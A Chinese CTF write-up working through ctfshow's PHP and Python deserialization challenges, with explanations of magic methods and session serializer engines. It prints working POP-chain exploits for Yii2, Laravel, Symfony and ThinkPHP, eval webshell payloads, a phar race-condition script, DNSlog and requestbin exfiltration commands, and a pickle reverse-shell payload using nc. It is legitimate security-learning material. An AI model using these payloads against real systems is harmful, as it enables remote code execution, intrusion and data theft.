做一下ctfshow的相关题目 参考ctfshow的视频教程 大佬们发在网上的writeup 相关漏洞复现文章等

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

主要目的在于了解php的类 方法的调用

面向对象编程中最核心的概念就是类(Class)和对象(Object),类是对象的抽象模板,而对象是类的具体实例,比如「Laravel 精品课」是一个课程,那么课程就是一个类,而「Laravel 精品课」是这个类的一个实例,或者更直观一些,我们把学生看作一个类,那么具体的某个学生,比如张三、李四就是学生类的实例。对象包含的数据称之为类属性(Property),操作数据的函数称之为类方法(Method)。

我们还可以从另一个角度来看类和对象,以 PHP 为例,基本数据类型包括整型、浮点型、字符串、布尔类型、数组,对于整型这个类型而言,1、2、3、4、5 这些具体的数字就是它的实例(对象),我们也可以把自定义的类看作一个数据类型,只是这个类型是基本类型之外的真实世界复杂类型的映射,比如学生、课程、汽车、飞机、学校、公司、项目等等,对于学生这个类型而言,每一个个体的学生就是它的实例(对象)。

我们可以为这个类定义一些属性,这些属性可以是变量,也可以是常量

有了属性之后,可以通过方法进行设置和获取

$this当前对象。

$this-> 调用当前对象的属性或者方法。

在类中使用$this-> 调用一个未定义的属性时,PHP5会自动创建一个属性供使用

这个被创建的属性,默认的方法权限是public

除此之外,还可以编写其他自定义方法

有了这些基本的类属性和方法后,就可以基于这个类创建具体的对象并调用对象方法执行任务了,我们通常将基于类创建对象的过程称之为实例化,在 PHP 中,我们通过 new 关键字进行类的实例化

然后就可以操作类属性或者调用类方法了,类常量值不可更改,只能访问,在类外面访问类常量,需要通过类名 + :: + 常量名的方式:

var_dump(Car::WHEELS);

由于常量是类级别的,无需实例化即可访问。而对于对象级别的类属性(变量类型),需要通过实例化后的对象才能访问,并且访问之前,需要先设置

$car->seats = 5;
var_dump($car->seats);

要访问类方法,直接通过对象实例 + -> + 方法名即可

在 PHP 中,对象级别的属性和方法,都是通过箭头符 -> 进行访问的

还要好好学面向对象编程 这个学面向对象编程的时间可能有点晚...

首先定义了一个ctfShowUser类 在下面的逻辑代码中$user = new ctfShowUser();对ctfShowUser类进行了实例化 $user 就是ctfShowUser类的一个实例 这个示例可以调用类中的属性($username,$password,$isvip),还可以调用类中的方法(checkVip(),login($u,$p),vipOneKeyGetFlag()

分析ctfShowUser类

首先声明了三个属性

然后声明了checkVip()方法 可以获取$isVip的内容

接着声明了login($u,$p)方法 检查$u,$p True 则把isVip赋值为true 返回isVip的值

最后定义了获取flag的方法

类之后GET传了两个参数 在下面实例化后的代码中作为login的两个参数

所以只要GET传进去的参数值可以符合login的校验即可

image.png

web255

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);  
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

只有这两部分发生了变化

image.png

image.png

不能通过认证isVip为ture通过验证了

cookie反序列化 我们只需要把需要更改的信息序列化之后传进cookie就可以了 cookie我们是可以更改的

写脚本echo出更该后的类 注意url编码 访问控制(public,protected,private)中是有不可见字符的

注意绕过判断

image.png

web256

image.png

这次新增了一个判断

可如果我们要login的话一定是一样的

但是这个位置是!== 两个等号 在php中是弱类型比较 xxxxxx==xxxxxx1

重新编写一下序列化脚本 我们可以直接更改类中的属性 保证弱类型相等的同时保证login判断 即可

image.png

反序列化是一种漏洞 但更多是一种利用方式 很多事后会结合很多其他考点来进行考察

web257

感觉到这一道题才算是正式进入反序列化 diamagnetic完全不一样了

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

反序列化的主要思路就是 虽然不能更改类方法的代码 但是可以通过控制序列化后类方法的属性来实现目的

image.png

可以看到backdoor类里面很明显的代码执行

我们可以把ctfShowUser类里面的construct()方法中的属性更改 使consturct()执行backdoor类进而导致任意代码执行

这里就是很典型、很一目了然的更改类方法的属性

image.png

web258

image.png

代码新增了这一部分正则匹配的内容

image.png

正则匹配的意思就是匹配 o:数字和c:数字形式的字符 不分大小写 这里涉及一个序列化格式的问题

大概就是类 O 属性 s

O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUserisVip";b:0;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:16:"eval($_POST[1]);";}}

这一串使web257不经过url编码的payload 可以发现 类之前都使o:数字的形式 我们反序列化也不可能不经过类

这里需要换一下思路进行绕过 11和+11的意思显然是一样的 但是不会被正则匹配 这种思路也是绕过正则的常见思路

脚本在phpstudy_pro根目录里

image.png

web259

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

image.png

这里的代码很简单 反序列化vip参数 然后调用一个vip的getFlag()方法

php有一个机制 如果调用了一个不存在的方法 就会调用当前类的__call方法

可以知道这是一个原生类的SSRF

<?php

$ua = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua)); 
#$client->getFlag();

echo urlencode(serialize($cilent));

在本地用nc测试 查看SSRF情况

image.png

通过我们可控的部分改变整个结果

然后序列化传给vip 然后根据最前面代码的逻辑 再绕过三次XFF 最后就会有带flag的flag.txt生成

web260

image.png

考点单一

字符串序列化后仍是字符串

直接传参即可

web261

image.png

打开一看 全是魔术方法 unserialize都是魔术方法

  • 考点:

__unserialize() 在PHP7.4以上版本会跳过

__wakeup的执行

在7.4以下也有一个CVE 可以通过属性数量不一致的方法绕过__wakeup

__invoke 反射方法 如果有直接通过类名进项调用的则执行该魔术 方法

__sleep 会在序列化方法 serialize 执行之前调用 这里也没有

所以这里只需要关注__construct__destruct就可以了

__construct是构造方法 对象创建完成后第一个被对象自动调用的方法

__destruct是销毁方法 析构方法 析构方法允许在销毁一个类之前执行的一些操作或完成一些功能

看代码的业务逻辑

image.png

这里的code是一个弱类型比较 0x36d没有加单引号 不是字符串格式 进制转换后相当于是一个数字 877

在__unserialize的逻辑里可以看到code=username.password

image.png

然后file_put_contents创建一个文件 文件名 文件内容

综上 我们只需要通过__construct给属性赋值 然后弱类型比较绕过if判断 就可以利用file_put_contents创建一个一句话木马文件

image.png

成功执行

image.png

image.png

image.png

web262

image.png

新的代码

有一个构造方法获取f m t三个参数并赋值

下面的代码逻辑就是简单的类的调用 需要注意的点应该在str_replace 这里将序列化后的$mag中的fuck替换为五个字母的loveU 会引发字符逃逸

然后setcookie

image.png

进入之后可以看到新的代码逻辑

image.png

编写脚本做个实验 可以看到fuck属性处

image.png

";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

image.png

理解起来还是很容易的

序列化的时候str_replace会将四个字符的fuck替换为五个字符的loveU 但是序列化时输出的仍是fuck时的字符数 我们可以在要检查的位置的被检查字符后面跟上我们自己的payload 当符合序列化格式的时候 我们的恶意payload就会顶替掉原本的payload 成功污染到我们想要污染的属性

web263

源码泄露 首先下载源码包 进行代码审计

首先看到index.php

image.png

第五行这段代码明显写错了 把limit错写成了limti 那么这里会一直为空 >5的情况不会出现 相当于只有后面的base64解码cookie

下面一帮代码很有意思 是一段对cookie进行覆盖的代码 原来cookie解不出来可能这么简单的逆向就可以解了

然后看一下登陆逻辑 很简单 也没什么错误

image.png

跟进到包含的inc.php中

image.png

这里出现了一个很重要的东西

https://blog.spoock.com/2016/10/16/php-serialize-problem/

php.ini中存在关于session的几项配置

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列化存储有关的选项

在phpstudy默认配置的php.ini中可见:

session.save_path = "N;/path"
session.save_handler = files
session.auto_start = 0
session.serialize_handler = php

在上述的配置中,session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。

在phpstudy中进行尝试:

<?php
session_start();
$_SESSION['name'] = 'sp4c1ous';
var_dump($_SESSION['name']);
?>

image.png

这里可以看到我们的PHPSESSID 然后可以在临时文件夹中发现我们的session文件

image.png

可以发现 session文件名的后缀和我们的PHPSESSID是一致的 存储方式也和我们上面所说的php方式的存储方式一致

我们再来看一下其他引擎下的内容

image.png

image.png

由于name的长度是4 所以这里是<0x04>

PHP Session中的序列化危害

PHP中的Session的实现是没有问题的,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储$_SESSION数据时 所使用的引擎和序列化时使用的引擎不一样,就会导致数据无法正确地反序列化。 通过精心构造的数据包,我们就可以绕过程序的验证或者是执行一些系统的方法。

例如:

$_SESSION['SP4C1OUS'] = '|O:7:"sp4c1ous":0:{}';

上述的$_SESSION的数据使用php_serialize引擎存储后的结果就是:

a:1:{s:8:"SP4C1OUS";s:20:"|O:7:"sp4c1ous":0:{}";}

但是如果我们在进行读取的时候,选择的是php引擎 最后读取的结果就会显示为

array (size=1)
  'a:1:{s:8:"SP4C1OUS";s:20:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'sp4c1ous' (length=7)

这是因为当使用php引擎的时候,php引擎会以 | 作为作为key和value的分隔符,那么就会将a:1:{s:8:"SP4C1OUS";s:20:"作为SESSION的键值key,将O:7:"sp4c1ous":0:{}作为value,然后进行反序列化,最后就会得到sp4c1ous这个类。

可见,这样序列化和反序列化使用的不一样的引擎就是造成PHP Session反序列化漏洞的成因。

回到题目

我们可以根据源码重复声明了引擎为php推断,当前配置时php_serialize而不是php 当前常用的只有这两种引擎

那么我们就可以在当前php里找一下有没有操作cookie的地方 没有操作cookie的地方

但是我们可以发现可以利用类

image.png

参数 username和password我们都可控 而且是file_put_contents 那么我们可以利用这里写一个shell

image.png

还有,如果包含了inc.php的话 读取方法就也会变成php处理器

image.png

像这里(听直播的就会知道,这里在服务器上的代码是有这个包含的 但是我们下载的源码包里没有 如果这里的写入方式不是php引擎的话我们就没法做了哈)

这里的cookie是我们可控的 会直接base64解码后赋值给session

访问check.php这里我不是很理解 网上师傅们发出来的wp要不就是简单的步骤操作 要不就是口径不一致 说什么的都有 直播中也只是简单的直接说访问check.php反序列化

询问了一下群主 发现钻牛角尖了

访问一遍check.php的目的就是为了利用包含了inc.php后的php引擎 index.php也就是没有包含inc.php的

有些问题还是存在 但是这样理解起来起码思路通畅了很多

过于各种session cookie配置的问题还是让人头晕啊 什么都不会的人果然不能细审代码QAQ

接下来就要构造payload了

我们刚刚已经看到插入|的效果了 现在我们需要的就是找到合适的位置插入|

首先写一下payload:

image.png

这一串就是我们构造的payload通过session_serialize序列化出来的值

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}}

我们想要利用的话就要把O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>?php eval($_POST[1]);?";s:6:"status";N; 这一串User类的调用都包含进去

其中 username和password是我们可以控制的 那么我们可以利用php引擎的特性 在username处手动添加| 构造成像下面这样形式 给php的引擎反序列化

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php|O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php ";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}}

php引擎读取的时候就会自动把|之前的内容当作键值不管 在传入session后对后面的内容自动进行反序列化

总结一下:

index.php传进去cookie

然后访问check.php 利用它的php引擎 触发session反序列化漏洞 导致恶意代码的写入

进而访问写好的恶意文件

这里还有个小点 因为服务器里闭合等问题 payload写入的内容最后被改成了这样

image.png

成功!

image.png

Web264

题目源码和262一摸一样 一样的反序列化逃逸 只变了几个地方

image.png

image.png

这就成了 要你传参反序列化 但是又要你有cookie 不然绕不过if

感觉没什么意义的一道题 算是练代码审计了?

image.png

写一写 和之前也一样

web265

image.png

崭新的源码 主要问题出在这个token 伪随机数我是知道的 但是这里不知道seed 不知道随机数值 怎么爆破呢

什么玩意 面向对象编程白学了 这玩意是赋值啊 $ctfshow-->token 表示引用token 赋值token为md5(mt_rand()) 所以这里我们的token是不可控的 可控的值只有password

这里是关于php中引用的一个知识点

为了保证token和password全等 我们编写了如下代码

image.png

&表示引用 变量变但指针不变 相当于让password的内存地址指向了token的内存地址 导致二者===

image.png

web266

image.png

这里主要的问题是在最后的抛出异常

我们需要绕过最后的抛出异常执行销毁方法echo flag

我们可以通过让序列化的值错误

类名存在但是里面的值反序列化异常 这种情况下虽然会抛出异常 但是同样会执行__destruct魔术方法

image.png

web267

这里暴露了信息搜集学得不好了

image.png

题目点击进入后是一个模仿真实环境的前端 中间的访问ctfshow时直接指向链接的不存在问题 点击后续内容时会发现 URL中会出现get参数 尝试进行源码获取 利用ssrf以及文件包含 无果

这里毕竟是反序列化漏洞专题 打开网页源代码 我们可以看到该页面使用的时yii模板 我们可以点开观察 大概率为yii2 而yii2是存在CVE的 网上已经爆出来了它的POP链 (这些都是菜鸡师傅说的....)

image.png

CVE-2020-15148 Yii2框架反序列化漏洞

还有弱口令

admin admin即可登陆

发现About界面出现变化 查看源代码 发现hint

image.png

要注意一下修改方法 要同时get二者

image.png

我们成功获得了yii2反序列化漏洞中最重要的反序列化入口点了 接下来使用现成的POP链就ok了

如下POC:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

执行的点在这里

image.png

image.png

经测试成功

发现system ls并没有回显 羽师傅的博客里也有提到 推荐使用了shell_exec

还是没有回显 去看了菜鸡师傅的视频 发现找命令执行这个过程太太太漫长和曲折了

首先 在确定了phpinfo 1成功执行了的情况下 确实是存在命令执行漏洞的

但是执行system ls没有回显 针对亲厚二者分别进行了system idshell_exec ls两种命令 都没有回显

想了一下参数只有一个的函数 尝试var_dump函数 var_dump $this 成功回显 离了个谱了妈的

尝试file_put_contents /etc/password没有回显

先在本地测试了print_r() 能回显 于是 print_r /etc/password 发现print_r只能调用一次 也就是直接回显/etc/password

猜测可以用带外来防止不能回显的情况发生 首先在dnslog.cn里get

shell_exec wget `whoami`.4t6tui.dnslog.cn

发现可以带外 尝试ls \ 应该是因为有空格失败了

但是转念一想 这说明shell_exec可以执行 尝试直接写木马文件shell_exec echo"<?php eval($_POST[1]);?>" > /var/www/html/1.php 访问 失败了

猜测可能使我们当前页面并不在根目录下 利用外单看一下pwd `

shell_exec wget `pwd|base64`.4t6tui.dnslog.cn

没带出来 猜测是因为有特殊符号 对pwd进行base64编码 成功外带 并且解码之后发现确实不在网站根目录 在/var/www/html/basic/web

像这个目录中写马 访问后发现报错 因为有空格

去掉空格 又发现报错 和之前一次一样 因为字符编码导致的奇怪报错 在后面加一个phpinfo后成功执行了

shell_exec echo "<?php eval($_POST[1]);phpinfo();?>" > /var/www/html/basic/web/100.php

写入木马后爆500 正常情况 直接访问 错了 尝试/$转义$号 失败 尝试把外面写成双引号 里面写成单引号

image.png

没写进去 转义$号 一开始直接在URL进行发送 没有写入成功 后来在Hackbar里写 就写进去了

奇怪的事情

ctfshow{f5e5c25f-20b6-4085-9cb9-f2da074f1795} 忘记截图了 被折磨了太久 直接关了...

总之成功命令执行!

web268

和上个题一样

但是上一道题的POP链打不通了... 要换一个POP链

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('system', 'whoami');
    echo(base64_encode(serialize($exp)));
}

用这个 上次的命令 就能过

再整理一下另外几个POC

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

POC3

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

出奇的顺利

image.png

web269

上一个题的paylaod就能打通

image.png

web270

同上

image.png

web271

image.png

这里是一个使用Laravel框架的代码

同样 网上也能够找到已经公布的POP链

laravelv5.7反序列化rce(CVE-2019-9081)

POC

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));

    echo urlencode(serialize($pendingcommand));
}

image.png

没有那么多莫名其妙不能执行指令的情况 真好~

web272

上道题的POC打不通了

hint也说了换个姿势 看了一下 发现是 Laravel版本换了

Laravel5.8.x反序列化POP链

POC

<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}
?>

image.png

web273

这里用上个题的POC打通了 找了一下 果然还有一种POC 记一下记一下

<?php
namespace Symfony\Component\Cache{
    final class CacheItem
    {
        protected $expiry;
        protected $poolHash;
        protected $innerItem;
        public function __construct($expiry, $poolHash, $command)
        {
            $this->expiry = $expiry;
            $this->poolHash = $poolHash;
            $this->innerItem = $command;
        }
    }
}
namespace Symfony\Component\Cache\Adapter{
    class ProxyAdapter
    {
        private $poolHash;
        private $setInnerItem;
        public function __construct($poolHash, $func)
        {
            $this->poolHash = $poolHash;
            $this->setInnerItem = $func;
        }
    }
    class TagAwareAdapter
    {
        private $deferred = [];
        private $pool;
        public function __construct($deferred, $pool)
        {
            $this->deferred = $deferred;
            $this->pool = $pool;
        }
    }
}
namespace {
    $cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami");
    $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
    $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
    echo urlencode(serialize($tagawareadapter));
}

image.png

web274

已经了解了后面这一块的出题思路了 这里就是ThinkPHP的反序列化CVE咯

查看源码发现入口

image.png

POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

这里还有一个参数lin 表示的是临时的意思 反序列化会调用这个参数里面的命令作为我们写入的system的参数

image.png

web275

image.png

代码逻辑很简单

首先审一遍 可以发现没有反序列化入口 有个php//input文件包含 但是没法利用 只能继续细审一遍代码

首先是一个filter类 利用__construct获取两个参数 还有一个定义为false的参数 再checkevil中可以摆正为ture

分别是正则匹配php ..和正则匹配flag

再然后是一个销毁方法 其中有system这一看就是我们要利用的点 可以借助拼接执行命令

最后在下面的代码里我们可以看到content是我们不能控制的 但是filename我们是可以通过$_GET['fn']控制的

后面的代码是判断非恶意文件之后进行的一个写入操作 我们这里并不需要利用这里

这道题目学习的重点还是在魔术方法上 这应该也是放在了序列化里的原因吧

__destruct当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile是true就可以了执行系统命令。

image.png

还有一种方法 上传木马文件时利用条件竞争

image.png

这里就是不停的创建文件然后删除 文件删除和文件上传不是同频的 文件删除是有一定间隔的 我们可以用burpsuite写两个intruder一个上传一个访问 然后在成功访问的时候进行恶意操作

web276

image.png

这道题比上一道多了admin 但是整个类和下面的业务代码都没有出现能够直接反序列化操纵admin的地方

但是~ 这里因为有上传文件的代码 可以用phar反序列化 又是他妈的学艺不精的一块 上脚本 待学习

之前说过这里上传文件是要条件竞争的 脚本如下

import requests
import hashlib
import threading
url="http://6e1721cc-e255-46b3-89e9-59d9b4880eb5.challenge.ctf.show:8080/"
f=open("phar.phar","rb")
content=f.read()
def upload():
    r=requests.post(url=url+"?fn=phar.phar",data=content)

def read():
    r=requests.post(url=url+"?fn=phar://phar.phar/",data="1")
    if "ctfshow{" in r.text or "flag{" in r.text:
        print(r.text)
        exit()
while 1:
    t1=threading.Thread(target=upload)
    t2=threading.Thread(target=read)
    t1.start()
    t2.start()

生成phar的脚本

<?php

class filter{
    public $filename = "1|cat f*";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

后面的部分其实都是一样的 直接抄就行 前面要改的属性按需改一下就好了

注意需要修改php.ini

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

一开始条件竞争跑不出来

image.png

后来换成了上面的脚本跑出来了 上面没跑出来的这里应该是因为POST里data参数的问题 改一下命名就跑出来了

web277

放题顺序有问题 竟然把277放到了276前面 菜鸡师傅真的有够菜的~

进来直接一首信息搜集找到了后门

image.png

很可惜我看不懂这里写的是什么

这里是python反序列化 从pickle类 可以看出来

扒了俩脚本 具体学习 在写完php反序列化之后再说

import pickle
import base64
class A(object):
    def __redure__(self):
        return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 端口 -e /bin/sh").read()',))
a = A()
test = pickle.dumps(a)
print(base64.b64encode(test))

这东西执行的位置学过SSTI的都认识 就python里的命令执行 这里直接nc反弹shell了

感觉这就是一个最简单的序列化

import os
import pickle
import base64
class RunCmd(object):
    def __reduce__(self):
        return (os.system,('wget http://requestbin.net/r/duwbu270?a=`cat fla*`'))
print(base64.b64encode(pickle.dump(RunCmd())))

requestbin不会不知道吧 外带信息用的 然后拼接命令 看菜鸡师傅都用dnslog+base64

但是这个脚本是跑不通的 它报错... 可以用上面的执行requestbin外带

和网上的众多师傅一样 这道题我也没有打通 认真学了python反序列后一定要再回来打一边 吐血.jpg

278也不打了 277都打不通 nc是因为要到外网打 但是requestibn为什么带不出来呢 我不理解..

总结

肯定是有提升的 但是感觉并没有那么高

发现了面向对象编程的学习对反序列化漏洞很有帮助

真实的大赛题目中总是源码包找POP链的 这里最提高水平的应该是几个反序列化漏洞的复现
还是要多做做大赛题目 感觉ctfshow这里还是有些乏力了 完全不足以学好甚至学会反序列化漏洞


重为轻根,静为躁君。